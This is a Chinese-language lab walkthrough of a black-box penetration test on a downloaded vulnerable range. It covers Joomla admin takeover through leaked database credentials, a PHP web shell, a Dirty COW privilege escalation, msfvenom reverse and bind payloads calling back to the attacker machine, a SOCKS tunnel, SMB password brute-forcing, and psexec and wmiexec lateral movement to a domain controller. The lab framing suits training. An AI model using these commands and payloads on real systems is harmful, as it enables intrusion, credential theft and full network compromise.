靶场搭建
靶场下载地址:http://39.98.79.56/vuln/detail/5/
本次测试为黑盒测试,所以所有主机都为挂起状态,且账号都默认已经登录
已知出网主机为centos主机
将centos出网网卡和kali攻击机网卡都设置为NAT模式
其它网卡都默认vmnet2模式
如果没有vmnet2虚拟网络,应该在虚拟网络编辑器建立一个虚拟网络vmnet2,仅主机模式,子网地址为192.168.93.0
开启centos,第一次运行,需重新获取桥接模式网卡ip
service network restart
查看ip,发现两个网段
192.168.48.0/24(出网ip)和192.168.93.0/24(内网ip)
在kali上ping一下出网主机,看能否连通
开启所有主机,靶场搭建完毕
渗透测试
因为是黑盒测试,所以我们现在并不知道出网主机的ip
使用nmap扫描整个网段,探测存活主机
nmap -sP -T4 192.168.48.0/24
发现136和134两台主机(1,2,254是网关和广播地址)
136是KALI攻击机,所以靶机地址为192.168.48.134
使用nmap扫描查看端口开放情况
nmap -sS -p 1-65535 -A 192.168.48.134
开放了22端口,ssh服务,可能存在密码爆破
开放了80端口,存在http网站服务
开放了3306,存在MYSQL服务,可能存在弱口令
访问网站
知道网站CMS是Joomla,直接用kali自带工具joomscan进行扫描
joomscan --url http://192.168.48.134/
没有发现漏洞,发现后台
http://192.168.48.134/administrator/index.php
访问后台
测试了一下存不存在默认账号密码弱口令,发现不存在
还扫描出一个敏感配置文件
在配置文件中找到了数据库账号密码
使用Nivicat工具成功连接数据库
前面joomscan已经扫描出joomla版本为3.9.12
搜索引擎搜索此版本添加密码
搜索到Joomla使用SQL代码添加密码 Joomla 2.5 Joomla 3.x Joomla 4.x
(这里需要注意表名和组名,这里表名为am2zu_users,组名为am2zu_user_usergroup_map)
INSERT INTO am2zu_users (name, username, password, params, registerDate, lastvisitDate, lastResetTime) VALUES ('Administrator2', 'admin123', '433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT', '', NOW(), NOW(), NOW()); INSERT INTO am2zu_user_usergroup_map (user_id,group_id) VALUES (LAST_INSERT_ID(),'8'); - admin = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT - secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199 - OU812 = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm
添加成功
登录后台成功
新建一个php文件用于保存马
写入一句话木马
使用蚁剑连接
发现不能执行命令
一定是设置了disable_functions
蚁剑有专门绕过disable_functions的插件(可以在插件市场下载,需要梯子)
选择PHP7_GC_UAF模式或者下一个PHP的模式,然后点击开始,就会弹出一个终端
绕过成功
ipconfig发现只有一个网卡,而centos应该有两个网卡,一个出网网卡,一个内网网卡
uname -a 发现是Ubuntu系统
拿到了Centos的shell,执行命令返回的是Ubuntu(web1)的信息
原来是Centos是Ubuntu的反向代理,用的是Nginx协议
在/tmp/mysql/test.txt文件中有账号密码wwwuser/wwwuser_123Aqx
前面扫描端口存在ssh,这应该是用在这,使用xshell工具登录ssh
登录成功
ipconfig
可以看出是centos主机
成功获得centos的shell,接下来进行提权
Linux提权
1、内核提权(脏牛肉提权)
2、suid提权
3、sudo提权
4、数据库提权
sudo -l查看特权命令
不能使用sudo命令
suid提权,通过命令find / -perm -4000 2>/dev/null查看是否具有root权限的命令
常见root权限文件
nmap
vim
find
bash
more
less
nano
cp
没有可以用于提权的命令
内核提权
脏牛肉提权(CVE-2016-5195)
使用xftp上传exp,上传到临时文件夹/tmp下
对dirty.c进行编译
gcc -pthread dirty.c -o dirty -lcrypt
执行编译后的文件,并设置密码
./dirty 123456
su firefart
输入密码123456
提权成功
使用xftp上传msf马,上线msf
生成linux马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.48.136 LPORT=4445 -f elf > a.elf
上传成功
msf开启监听
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.48.136
set LPORT 4445
exploit
执行msf马
chmod +x a.elf
./a.elf
成功获得会话
内网渗透
由于在获取的会话执行shell获取的不是完整shell,所以使用pyhton中的pty模块反弹一个完整的shell环境
python -c 'import pty;pty.spawn("/bin/bash")'
ipconfig查看网络信息
发现内网网段192.168.93.0/24
首先添加路由
route add 192.168.93.0 255.255.255.0 1
添加了路由之后只有msfconsole能进入到内网,如果需要其它程序也能进入到内网就要建立代理
挂起会话,ctrl+z(挂起后使用命令jobs可以查看挂起的进程,使用命令fg %挂起进程号(例:fg %1)可以恢复
使用earthworm搭建socks5反向代理,执行以下命令
chmod +x ew_for_linux64
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
通过1080端口,将本地流量转发出去
rcsocks、rssocks 用于反向连接 ,ssocks 用于正向连接
-l 指定本地监听的端口
-e 指定要反弹到的机器端口
-d 指定要反弹到机器的IP
-f 指定要主动连接的机器 ip
-g 指定要主动连接的机器端口
-t 指定超时时长,默认为 1000
通过xftp工具上传./ew_for_linux64文件到centos的/tmp下
使用xshell工具在centos上执行如下命令
chmod +x ew_for_linux64
./ew_for_linux64 -s rssocks -d 192.168.48.136 -e 1234
(192.168.48.136为kali攻击机的ip)
代理建立成功
ctrl+z 挂起earthworm进程
将socks5 服务器指向 127.0.0.1:1080
vim /etc/proxychains4.conf
验证代理是否建立成功
jobs命令 查看挂起的进程
fg %1 命令回到msfconsole进程
探测存活主机
use auxiliary/scanner/discovery/udp_probe
set RHOSTS 192.168.93.0/24
set THREADS 5
exploit
发现192.168.93.10主机WIN-8GA56TNV3MV
发现192.168.93.20主机WIN2008
发现192.168.93.30主机WIN7
前面已知192.168.93.100主机Centos
还有已知192.168.93.120主机Ubantu
使用nmap再次探测存活主机,进行确认
proxychains4 nmap -sP -T4 192.168.93.0/24
横向移动
使用nmap扫描每台主机
proxychains4 nmap -sP -T4 192.168.93.10
proxychains4 nmap -sP -T4 192.168.93.20
三台主机都是windows,10这台主机开放了53端口,可以推测出这台主机为域控主机
主机开放了445端口,尝试使用永恒之蓝
三台主机都不存在永恒之蓝漏洞
20主机存在1433 mssql服务使用msf的模块进行密码爆破
发现账号密码就是前面找到的mysql密码
试着使用mssql来执行命令
发现不能执行命令
不能利用mssql,只能通过SMB爆破的方式了这里我尝试了使用responder工具伪造smb服务,然后用mssql触发,没有成功
还在网上看到其它方法,但是需要诱使目标主机的管理员输入账号密码
利用msf模块进行进行SMB爆破
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.93.30
set PASS_FILE /root/fuzzDicts/passwordDict/top500.txt
set SMBUser administrator
exploit
爆破出xp密码为123qwe!ASD
爆破出2012密码为zxcASDqw123!!
2008主机爆破报错
换工具爆破,使用kali自带工具hydra
成功爆破出2008密码也为123qwe!ASD
使用msf自带模块进行攻击
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set SMBUser administrator
set SMBPass 123qwe!ASD
set RHOSTS 192.168.93.30
exploit
成功拿下xp主机,获得会话后进行进程迁移,不然很开会断掉
migrate PID
用同样的方法,在2008主机和2012主机上失败
使用另外一种方法
使用impacket包中的wmiexec工具
python wmiexec.py 'administrator:zxcASDqw123!!@192.168.93.10'
成功获得2012CMD
python wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'
成功获得2008CMD
只有CMD且没有与外网连接,想要上传文件只能通过3389远程连接
开远程桌面功能
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
防火墙放行
netsh advfirewall firewall set rule group="Remote Desktop" new enable=yes
连接2012主机的远程桌面失败
成功连接2008的远程桌面
登录时记得要切换用户为administrator
登录成功
生成一个msf bind的马
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.48.136 LPORT=5555 -f exe > shell1.exe
将马通过远程连接上传到2008主机上
在kali上进行监听
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.93.20
set LPORT 5555
exploit
远程桌面执行msf马
成功收到会话
通过getsystem提权,成功获得system权限
进程迁移
migrate PID(可以通过ps命令查看进程)
2012主机无法通过远程桌面上传文件
想到可以用文件共享
在获得2012主机的CMD中执行命令
net use \192.168.93.20\ipc$ "zxcASDqw123!!" /user:TEST.ORG\Administrator
成功建立ipc共享
生成一个msf bind马
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.48.136 LPORT=6666 -f exe > shell2.exe
将马通过远程桌面上传到2008主机上
再通过ipc文件共享复制到2012主机上
上传成功
在msf开启监听
exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.93.10
set LPORT 6666
exploit
在CMD上执行马
发现没有收到会话,应该是被防火墙拦截了,关闭防火墙
NetSh Advfirewall set allprofiles state off
成功收到会话
使用getsystem命令提权
进程迁移
migrate PID
成功拿下所有主机